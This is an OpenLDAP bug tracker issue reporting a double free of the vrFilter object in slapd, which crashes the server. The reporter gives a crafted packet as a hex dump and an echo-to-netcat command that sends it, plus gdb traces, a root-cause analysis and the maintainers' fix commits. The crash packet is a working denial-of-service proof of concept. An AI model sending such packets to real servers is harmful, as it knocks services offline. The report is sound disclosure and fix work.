Issue 9408 - Double free of vrFilter causes segfault due to out of bounds read

Status: VERIFIED FIXED

Alias: None

Product: OpenLDAP
Component: slapd (show other issues)
Version: unspecified
Hardware: All All

Importance: --- normal
Target Milestone: 2.4.57
Assignee: OpenLDAP project

URL:
Keywords:

Depends on:
Blocks:

Reported: 2020-11-28 15:07 UTC by phasip
Modified: 2021-01-18 20:05 UTC (History)
CC List: 0 users

See Also:

Attachments
Add an attachment (proposed patch, testcase, etc.)

Note
You need to log in before you can comment on or make changes to this issue.

phasip **2020-11-28 15:07:24 UTC** Description

```
A malicious packet can force OpenLDAP to free the operators vrFilter object twice
resulting in a segfault.

Packet:
    00000000: 3076 0201 3063 3030 0030 0030 0030 0030  0v..0c00.0.0.0.0
    00000010: 0030 0030 1030 3030 3030 3030 3030 3030  .0.0.00000000000
    00000020: 3030 3030 3030 00a0 3030 3030 0030 3030  000000..0000.000
    00000030: 0030 3030 1d31 2e32 2e38 3236 2e30 2e31  .000.1.2.826.0.1
    00000040: 2e33 3334 3438 3130 2e32 2e33 0030 3030  .3344810.2.3.000
    00000050: 3030 0420 301b a505 3000 3000 a500 3030  00. 0...0.0...00
    00000060: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000070: 3030 3030 3030 3030 30                   000000000

gdb output:
    # echo -en
"\x30\x76\x02\x01\x30\x63\x30\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x10\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\
| nc localhost 1389 &
    ...
    (gdb) run
    Starting program: /openldap_clean/servers/slapd/slapd -h 'ldap://:1389/' -d 256
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    5fc0d457 @(#) $OpenLDAP: slapd 2.X (Nov 27 2020 10:24:54) $
        @ubuntu:/openldap_clean/servers/slapd
    5fc0d457 slapd starting
    [New Thread 0x7fff8b2c8700 (LWP 25550)]
    [New Thread 0x7fff8aac7700 (LWP 25553)]
    5fc0d45b conn=1000 fd=11 ACCEPT from IP=127.0.0.1:36130 (IP=0.0.0.0:1389)
    5fc0d45b get_filter: unknown filter type=48
    5fc0d45b   get_ava ber_scanf
    5fc0d45b conn=1000 op=0 DISCONNECT tag=120 err=2 qtime=0.000024 etime=0.000232
text=Error decoding attribute value assertion
    5fc0d45b conn=1000 op=0 SRCH base="" scope=0 deref=0 filter="(?=undefined)"
    5fc0d45b slap_global_control: unrecognized control:
    5fc0d45b slap_global_control: unrecognized control:
    5fc0d45b conn=1000 op=0 SEARCH RESULT tag=101 err=0 qtime=0.000024
etime=0.030526 nentries=0 text=Error decoding attribute value assertion

    Thread 3 "slapd" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7fff8aac7700 (LWP 25553)]
    0x00005555555a2209 in ava_free (op=0x7fff7c000ff0, ava=0x7fff7c0016a8,
freeit=1) at ava.c:47
    47          if ( ava->aa_cf && ava->aa_cf->cf_ca->ca_comp_data.cd_mem_op )
    (gdb) bt
    #0  0x00005555555a2209 in ava_free (op=0x7fff7c000ff0, ava=0x7fff7c0016a8,
freeit=1) at ava.c:47
    #1  0x0000555555589f91 in vrFilter_free (op=op@entry=0x7fff7c000ff0,
vrf=0x7fff7c001728) at filter.c:1197
    #2  0x00005555555b66c8 in slap_free_ctrls (op=0x7fff7c000ff0,
ctrls=0x7fff7c001680) at controls.c:619
    #3  0x0000555555598af7 in slap_op_free (op=0x7fff7c000ff0, ctx=0x7fff8aac6b60)
at operation.c:98
    #4  0x00005555555845e3 in connection_operation (ctx=ctx@entry=0x7fff8aac6b60,
arg_v=arg_v@entry=0x7fff7c000ff0) at connection.c:1234
    #5  0x0000555555584f9d in connection_read_thread (ctx=0x7fff8aac6b60, argv=0xb)
at connection.c:1314
    #6  0x000055555567d032 in ldap_int_thread_pool_wrapper (xpool=0x5555557a6240)
at tpool.c:1051
    #7  0x00007ffff7f9f609 in start_thread () from /lib/x86_64-linux-
```

```
gnu/libpthread.so.0
    #8  0x00007ffff7ec6293 in clone () from /lib/x86_64-linux-gnu/libc.so.6
    (gdb) print ava
    $2 = (AttributeAssertion *) 0x7fff7c0016a8
    (gdb) print ava->aa_cf
    $3 = (ComponentFilter *) 0x74746120676e6964
    /* The address above is obviously incorrect */

Why I believe it is a double free:
    A breakpoint at vrFilter_free shows that the function is called twice.
        First called from
        0x00005555555b4f46 in parseValuesReturnFilter (op=0x7fff7c000ff0,
rs=0x7fff8aac6980, ctrl=0x7fff7c001658) at controls.c:1631
        and the second time called from
        0x00005555555b66c8 in slap_free_ctrls (op=0x7fff7c000ff0,
ctrls=0x7fff7c001680) at controls.c:619

    In both the cases, examination of the op->o_vrFilter points to the same
location
        (note #define o_vrFilter        o_controls[slap_cids.sc_valuesReturnFilter]
)
        (gdb)  x/x op->o_controls[slap_cids.sc_valuesReturnFilter]
        0x7fff80001378: 0x000080a5

    Examining controls.c:1631 we see
        if( op->o_vrFilter != NULL) vrFilter_free( op, op->o_vrFilter );

    while for controls.c:618 we see
        if( op->o_vrFilter != NULL) {
                        vrFilter_free( op, op->o_vrFilter );
                        op->o_vrFilter = NULL;
                }

    As the initial call from controls.c:1631 doesn't clear the op->o_vrFilter
variable
    the second call happens - which would have been avoided if op->o_vrFilter had
been cleared.

Testing (also works on latest build from source):
    (Term1) # docker run -it --net=host bitnami/openldap
    (Term2) # echo -en
"\x30\x76\x02\x01\x30\x63\x30\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x10\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\
| nc localhost 1389

Bugfix:
    Probably clear op->o_vrFilter after freeing it in controls.c:1631
    I have not looked into why the vrFilter is being freed, this should be checked
to ensure
    that the root cause is not something else.
```

Howard Chu **2020-11-28 15:56:55 UTC** Comment 1

(In reply to phasip from comment #0)
> A malicious packet can force OpenLDAP to free the operators vrFilter object
> twice resulting in a segfault.

> Bugfix:
>   Probably clear op->o_vrFilter after freeing it in controls.c:1631
>   I have not looked into why the vrFilter is being freed, this should be
> checked to ensure
>   that the root cause is not something else.

Thanks, fixed now in master. The same pattern was also done correctly in
parseAssert() at controls.c:1446 and should have been done here.

Howard Chu **2020-11-28 15:58:37 UTC** Comment 2

(In reply to Howard Chu from comment #1)
> (In reply to phasip from comment #0)
> > A malicious packet can force OpenLDAP to free the operators vrFilter object
> > twice resulting in a segfault.
>
> > Bugfix:
> >   Probably clear op->o_vrFilter after freeing it in controls.c:1631
> >   I have not looked into why the vrFilter is being freed, this should be
> > checked to ensure
> >   that the root cause is not something else.
>
> Thanks, fixed now in master. The same pattern was also done correctly in
> parseAssert() at controls.c:1446 and should have been done here.

parseAssert was fixed in a96fc51ebb867fff2714be22b81e011636763169, this
was just overlooked at that time.

Quanah Gibson-Mount **2020-12-02 21:55:35 UTC** Comment 3

trunk:

Commits:
  • a11b719c
by Howard Chu at 2020-11-28T15:54:17+00:00

```
ITS#9408 fix vrfilter double-free

RE24:

  • 21981053
by Howard Chu at 2020-12-02T21:36:40+00:00
ITS#9408 fix vrfilter double-free
```

Format For Printing - XML - Clone This Issue - Top of page